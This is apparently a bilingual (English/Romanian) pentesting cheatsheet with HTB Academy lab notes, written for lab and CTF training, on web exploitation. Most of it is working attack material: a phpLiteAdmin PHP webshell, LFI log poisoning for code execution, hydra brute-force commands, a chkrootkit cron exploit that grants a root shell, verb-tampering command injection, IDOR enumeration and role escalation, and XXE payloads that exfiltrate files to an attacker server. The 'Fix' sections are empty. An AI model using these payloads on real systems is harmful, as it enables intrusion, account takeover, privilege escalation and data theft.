⬅ IndexCheatsheets

Web Exploitation — Quick Reference

TitleWeb Exploitation — Quick Reference
CategoryCheatsheets
DescriptionExploatare web: SQLi, XSS, SSTI, LFI/RFI, SSRF, deserializare, auth bypass — tehnici și payload-uri.
Updated2026-08-11

Web Exploitation — Quick Reference


PHP Type Confusion (auth bypass)

strcmp($input, $secret) == 0 fails open when $input is an arraystrcmp() returns NULL, NULL == 0 is true.

curl -X POST http://target/login.php -d "username=admin&password[]="

phpLiteAdmin 1.9 — RCE (plant a PHP webshell as a SQLite DB)

phpLiteAdmin lets you create a database; the DB file is created in its data directory (often /var/tmp, check the Path to database on the main page). Name it *.php and embed PHP in a column default value:

  1. Login (default creds are often admin/admin; otherwise hydra the single password field).
  2. Create DB shell.php → file lands at <data_dir>/shell.php.
  3. SQL tab — submit button is named query, textarea is queryval, delimiter ;:
    sql CREATE TABLE 'test' ('payload' TEXT default '<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>')
  4. If the data dir is web-accessible → hit /db/shell.php?cmd=id directly.
  5. If not (e.g. /var/tmp) → combine with any LFI on the same host to include the file and execute the payload.

Pitfalls:
- phpLiteAdmin form fields: new_dbname (create), queryval+delimiter+query (SQL tab submit) — the page just reloads if you miss the submit field name.
- HTTP 200 + no result usually means the SQL didn't run (wrong field names), not a failed query.


LFI → RCE techniques

# classic traversal (keep the path SHORT — some apps reject long paths)
?notes=/ninevehNotes/../etc/passwd
?page=../../../../../../etc/passwd

# 1. SQLite webshell (above) — most reliable when phpLiteAdmin/DB-write exists
# 2. Log poisoning — inject PHP via User-Agent into access.log, then include it
curl -A '<?php system($_GET["c"]); ?>' http://target/x.php
?notes=../../../../../var/log/apache2/access.log&c=id
#    ⚠ logs are often root:adm 640 → www-data CANNOT read them → "failed to open"
# 3. /proc/self/environ — only when CGI/FastCGI puts request vars in env

hydra — HTTP/HTTPS login forms (correct syntax)

The gotcha: do NOT put http:///https:// in front of the IP when using the form modules — hydra fails with Invalid target definition! (it tries to parse the URL as a hostname).

# HTTP form
hydra 10.10.10.1 -l admin -P pass.txt -f http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:Invalid credentials"

# HTTPS form (module implies SSL + port 443)
hydra 10.10.10.1 -l admin -P pass.txt -f https-post-form \
  "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect"

# the fail string must appear ONLY on failure pages
# -f = stop on first valid pair

Port knocking (knockd)

# read config from an early shell: /etc/knockd.conf
# [openSSH] sequence = 571, 290, 911  (seq_timeout 5s, tcpflags syn)

# knock with nc (no knockd client needed)
for p in 571 290 911; do nc -z -w1 TARGET $p; sleep 0.3; done

# or with the knock tool
knock TARGET 571 290 911
nc -zv TARGET 22   # now open

Steganography quick hits

strings -n 6 file.png | grep -iE "ssh|BEGIN|zip|secret"     # filenames reveal archives
binwalk file.png                                             # appended data
steghide extract -sf file.jpg -p ""                          # jpeg steg

# PNG with tar/zip appended right after IEND — carve with Python (binwalk may miss it):
python3 -c "
import tarfile, io
data = open('file.png','rb').read()
i = data.find(b'IEND')
t = tarfile.open(fileobj=io.BytesIO(data[i+8:]))
t.extractall('.')
"

steghide false alarm: it always prompts for a passphrase and answers could not extract any data with that passphrase! even on clean files — compare against a known-clean control image before assuming there is hidden data.


Cron privesc — chkrootkit (CVE-2014-0476)

chkrootkit < 0.50 running as root via cron executes /tmp/update during its slapper check:

echo -e '#!/bin/sh\nchmod 4755 /bin/bash' > /tmp/update
chmod 755 /tmp/update
sleep 60; ls -la /bin/bash    # → -rwsr-xr-x
/bin/bash -p                  # root shell

HTB Academy — Web Attacks (Verb Tampering · IDOR · XXE)

Note modul completat 2026-09-09. Acoperă: HTTP Verb Tampering, IDOR (basic → encoded → APIs → chaining), XXE (direct → CDATA → error-based → blind OOB). La final: skills assessment rezolvat cap-coadă.


1️⃣ HTTP Verb Tampering

Esență: auth-ul sau filter-ul acoperă doar anumite verbe (GET/POST) — celelalte (PUT, PATCH, HEAD, OPTIONS, DELETE) trec nefiltrate.

Tip 1 — Insecure Server Config (bypass Basic Auth)

# ce verbe acceptă serverul
curl -i -X OPTIONS http://TARGET/

# sweep de verbe pe resursa protejată
for m in HEAD POST PUT PATCH OPTIONS TRACE DELETE; do
  code=$(curl -s -o /dev/null -w "%{http_code}" -X $m http://TARGET/admin/reset.php)
  echo "$m → $code"
done
# 200 pe alt verb decât GET/POST = bypass

Tip 2 — Insecure Coding (bypass security filters)

Filter-ul verifică doar $_GET/$_POST, dar codul citește $_REQUESTmută parametrul în altă metodă:

# GET cu payload → "Malicious Request Denied!"
curl -s "http://TARGET/?filename=file;cp%20/flag.txt%20./"

# POST cu payload în body → trece (filter-ul nu-l vede)
curl -s -X POST --data-urlencode "filename=file; cp /flag.txt ./" http://TARGET/

✅ Fix


2️⃣ IDOR (Insecure Direct Object References)

Esență: referințe directe la obiecte (uid, file_id, id) + lipsa access control pe back-end — front-end-ul doar ascunde butoanele.

2.1 Basic / Mass Enumeration

# link-uri din pagina altui user
curl -s "http://TARGET/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"

# mass enum 1..N (atenție: metoda reală din JS! GET sau POST)
for i in $(seq 1 20); do
  curl -s -X POST -d "uid=$i" "http://TARGET/documents.php" | grep -oP "/documents/[^'\"]+"
done

2.2 Encoded / Hashed References (btoa, md5)

Hash-urile NU sunt securitate — funcția de codare stă în JS:

// exemplu din aplicație: downloadContract(uid)
$.redirect("/download.php", { contract: CryptoJS.MD5(btoa(uid)).toString() }, "POST", "_self");
# reproducerea hash-ului
echo -n 1 | base64 -w 0 | md5sum | tr -d ' -'
# apoi POST cu contract=<hash> (sau doar btoa dacă JS-ul real nu are md5!)

⚠️ Citește ÎNTOTDEAUNA JS-ul real — instanțele diferă de lecție (ex. doar btoa(uid), pe GET).

2.3 Insecure APIs + Chaining

# disclosure: citești detaliile oricărui user (uuid, role)
curl -s http://TARGET/api.php/profile/5

# function call: modifici alt user DACA ai uuid-ul lui (verificare doar uid/uuid match, nu autorizație)
curl -s -X PUT -H "Content-Type: application/json" \
  -d '{"uid":"10","uuid":"<uuid>","role":"staff_admin","email":"[email protected]"}' \
  http://TARGET/api.php/profile/10

# enumerare roluri/useri admin
for i in $(seq 1 30); do curl -s http://TARGET/api.php/user/$i; done | grep -i "admin"

2.4 Token/Password Reset IDOR

# token de reset pt ORICE uid (IDOR)
curl -s http://TARGET/api.php/token/52        # → {"token":"..."}

✅ Fix


3️⃣ XXE (XML External Entity)

Esență: XML din input nesecurizat; entități externe (SYSTEM) citesc fișiere de pe server.

3.1 Identificare

<!DOCTYPE email [<!ENTITY company "Inlane Freight">]>

3.2 Direct File Read

<!DOCTYPE email [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

Fișiere cu caractere speciale (cod sursă PHP) → php://filter base64:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">

3.3 CDATA (fișiere cu caractere speciale, orice limbaj)

Hostezi DTD pe tine și folosești parameter entities (nu se pot îmbina direct entități interne+externe):

<!-- xxe.dtd pe serverul tău: -->
<!ENTITY joined "%begin;%file;%end;">
<!DOCTYPE root [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/flag.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://TU:8000/xxe.dtd">
  %xxe;
]>
<root><email>&joined;</email></root>

3.4 Error-Based (când nu se reflectă nimic, dar sunt afișate erori)

<!-- xxe.dtd: -->
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExisting;/%file;'>">
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://TU:8000/xxe.dtd"> %remote; %error;]>

3.5 Blind → OOB Exfiltration (nimic reflectat, nicio eroare)

Target-ul te sune pe tine cu conținutul în URL:

<!-- xxe_oob.dtd: -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://TU:8000/?c=%file;'>">
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://TU:8000/xxe_oob.dtd"> %remote; %oob;]>
<root>&content;</root>
# prinde base64 din logul serverului tău și decodează
grep -aoE "c=[A-Za-z0-9+/=]+" /tmp/hs.log | head -1 | cut -d= -f2 | base64 -d

Alternativă automată: XXEinjector.rb --host=TU --httpport=8000 --file=req.txt --path=/flag.php --oob=http --phpfilter

⚠️ Capcane practice (întâlnite): - php://filter merge în entități directe, dar eșuează în parameter entities din DTD extern → folosește file:// + CDATA sau error-based - Fișierul poate fi la rădăcina FS (file:///flag.php), nu în webroot → GET http://.../flag.php dă 404 dar XXE îl citește

✅ Fix


Lecții (fără detalii de assessment): fiecare vulnerabilitate singură poate părea inofensivă; împreună (IDOR → Verb Tampering → PrivEsc → XXE) duc la flag. Citește mereu JS-ul real; testează metodele reale; instanțele diferă de lecție.